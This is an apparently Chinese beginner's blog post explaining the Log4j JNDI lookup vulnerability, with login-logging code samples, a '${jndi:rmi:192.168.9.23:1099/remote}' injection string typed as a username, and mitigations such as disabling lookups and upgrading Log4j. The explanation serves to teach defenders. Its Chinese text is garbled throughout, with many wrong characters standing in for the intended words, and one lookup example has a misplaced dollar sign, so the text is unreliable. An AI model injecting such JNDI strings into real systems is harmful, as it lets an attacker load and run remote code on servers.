关于后端:log4j漏洞的产生原因和解决方案小白都能看懂

27次阅读

共计 1561 个字符,预计需要花费 4 分钟才能阅读完成。

核弹级 bug Log4j,置信很多人都有所耳闻了,这两天很多读者都在问我对于这个 bug 的原理等一些问题,明天咱们就专门写一篇文章,一起聊一聊这个核弹级别的 bug 的产生原理以及怎么避免

产生起因

其实这个次要的起因,和日志无关,日志是应用软件中不可短少的局部,Apache 的开源我的项目 log4j 是一个功能强大的日志组件, 提供方便的日志记录。

最简略的日志打印

咱们看如下场景:

这个场景大家应该很相熟了,就是用户登录,咱们明天不必关怀登录是怎么实现的,只用关怀用户名 name 字段就能够了,代码如下

public void login(string name){
  String name = "test";  // 表单接管 name 字段
  logger.info("{}, 登录了", name); //logger 为 log4j
}

很简略,用户如果登陆了,咱们通过表单接管到相干 name 字段,而后在日志中记录上这么一条记录。

这个看起来是很惯例的操作了,记录日志为什么会导致 bug 呢?不要焦急,咱们接下来往下看。

lookup 反对打印零碎变量

name 变量是用户输出的,用户输出什么都能够,下面的例子是字符串 test,那么用户能够输出别的内容么?

public void login(string name){String name = "{$java:os}";  // 用户输出的 name 内容为  {$java:os}
  logger.info("{}, 登录了", name); //logger 为 log4j
}

如果用户在用户名输入框输出{$java:os},那么日志中记录的会是零碎相干的信息,上述代码会输入

Windows 7 6.1 Service Pack 1, architecture: amd64-64,登录了

为什么会产生这种奇怪的景象呢?

是因为 log4j 提供了一个 lookup 的性能,对 lookup 性能不相熟的同学也没有关系,你晓得有这么个办法,能够把一些零碎变量放到日志中就能够了,如下图

比拟敏锐的同学可能曾经开始察觉到了,当初越来越像 sql 注入了。

JNDI 介绍

很多同学可能对 JNDI 不是很理解,不过没关系,我用最艰深的话来解释
其实就是你本人做一个服务,比方是

jndi:rmi:192.168.9.23:1099/remote

如果被攻打的服务器,比方某台线上的服务器,拜访了或者执行了,你本人的 JNDI 服务,那么线上的服务器就会来执行 JNDI 服务中的 remote 办法的代码。如果不是很分明,没关系,上面有张图

大家还记得咱们明天的配角 log4j 么?
如果用户间接在用户名输入框输出 JNDI 的服务地址

public void login(string name){String name = "${jndi:rmi:192.168.9.23:1099/remote}";  // 用户输出的 name 内容为 jndi 相干信息
  logger.info("{}, 登录了", name); 
}

那么只有是你用 log4j 来打印这么一条日志,那么 log4j 就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务,那么在黑客的电脑上就能够对线上服务做任何操作了,

大家设想一下,一个不是你公司的人,却能够在你们公司线上服务器做任何操作,这该是如许的可怕。

解决形式

其实如果你理解了这个原理那么解决形式也就高深莫测了,

  • 禁用 lookup 或 JNDI 服务

罪魁祸首就是 lookup 和 JNDI,那么间接批改配置文件 log4j2.formatMsgNoLookups=True 或禁用 JNDI 服务,不过个别产生问题的服务都是线上曾经在跑的服务,禁用的时候要留神评估一下是否容许。

  • 降级 Apache Log4j

这次产生的影响范畴次要是在 Apache Log4j 2.x <= 2.14.1
,所以间接把 Log4j 降级即可解决。

欢送关注我的公众号,程序员小饭,下期见

正文完
 0